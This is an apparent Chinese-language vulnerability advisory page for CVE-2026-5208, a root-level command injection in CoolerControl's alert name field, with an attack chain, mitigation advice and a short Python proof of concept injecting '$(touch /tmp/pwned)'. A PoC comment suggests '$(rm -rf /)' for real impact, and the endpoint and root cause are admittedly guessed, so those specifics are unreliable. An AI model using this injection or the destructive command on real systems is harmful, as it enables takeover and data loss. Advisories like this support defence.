IPBUF安全漏洞报告
English
CVE-2026-5208 CVSS 8.2 高危

CVE-2026-5208 CoolerControl命令注入漏洞

披露日期: 2026-04-08

漏洞信息

漏洞编号
CVE-2026-5208
漏洞类型
命令注入
CVSS评分
8.2 高危
攻击向量
本地 (AV:L)
认证要求
高权限 (PR:H)
用户交互
无需交互 (UI:N)
影响产品
CoolerControl/coolercontrold

相关标签

命令注入RCECoolerControl提权Linux本地攻击

漏洞概述

CoolerControl是一款用于Linux系统的硬件监控与控制工具。在其coolercontrold组件的4.0.0版本之前,告警功能模块存在严重的安全缺陷。由于程序未对用户输入的告警名称进行严格的过滤和转义,直接将其拼接到系统Shell命令中执行,从而引发了命令注入漏洞。已通过身份认证的攻击者可以利用此漏洞,在告警名称字段中注入恶意的Bash命令。鉴于该服务通常以root权限运行,攻击者成功利用后可获取系统的最高控制权,执行任意代码。

技术细节

该漏洞的根源在于CoolerControl守护进程(coolercontrold)在处理告警创建或更新请求时,缺乏对`alert_name`参数的严格安全校验。源代码中可能存在直接将用户可控的告警名称传递给Shell解释器执行的情况(例如使用`system()`、`exec()`或模板字符串拼接命令行)。攻击者利用这一逻辑漏洞,构造包含Shell元字符(如反引号、`$()`、分号等)的恶意字符串作为告警名称。当守护进程尝试配置或触发告警时,这些恶意字符会被Shell解析,导致攻击者预设的任意Bash命令被拼接并执行。尽管CVSS向量显示攻击需要高权限(PR:H)且为本地攻击(AV:L),但由于漏洞利用导致了作用域变更(S:C)且服务以root权限运行,这允许攻击者从应用层穿透至操作系统内核层,实现权限提升和完整的系统控制。

攻击链分析

STEP 1
步骤1
攻击者获取对CoolerControl的本地访问权限,并拥有一个经过身份验证的高权限账户(PR:H)。
STEP 2
步骤2
攻击者向CoolerControl的API发送特制的请求,在告警名称字段中插入包含Bash命令注入语法的恶意载荷(例如 `$(whoami)`)。
STEP 3
步骤3
CoolerControl守护进程接收请求,在未对告警名称进行消毒处理的情况下,将其传递给后端Shell环境执行。
STEP 4
步骤4
Shell解析恶意载荷,执行攻击者注入的任意代码。由于守护进程以root权限运行,攻击者获得系统最高权限。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target API endpoint for creating alerts # Note: Actual endpoint path may vary based on CoolerControl API version target_url = "http://localhost:5000/api/v1/alerts" # Malicious payload using command substitution # This payload creates a file named 'pwned' in /tmp to demonstrate execution # Replace with `$(rm -rf /)` or other malicious commands for actual impact payload_name = "$(touch /tmp/pwned)" # Headers usually include authentication tokens # Exploitation requires High Privileges (PR:H), so a valid admin token is needed headers = { "Content-Type": "application/json", "Authorization": "Bearer <VALID_ADMIN_TOKEN>" } # JSON data for the new alert # The 'name' field is the vulnerable injection point data = { "name": payload_name, "condition": "temp > 80", # Example condition "function": "notify" } try: # Send the POST request to inject the command response = requests.post(target_url, json=data, headers=headers) if response.status_code == 200 or response.status_code == 201: print("[+] Alert created successfully.") print("[+] Check /tmp/pwned on the target host to verify command execution.") else: print(f"[-] Failed to create alert. Status code: {response.status_code}") print(f"[-] Response: {response.text}") except Exception as e: print(f"[-] An error occurred: {e}")

影响范围

CoolerControl/coolercontrold < 4.0.0

防御指南

临时缓解措施
如果无法立即升级,建议暂时禁用告警功能或停止CoolerControl服务。同时,应严格限制能够访问本地管理接口的用户账户,确保只有受信管理员拥有操作权限,并监控系统中是否存在异常的Shell进程或文件创建行为。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表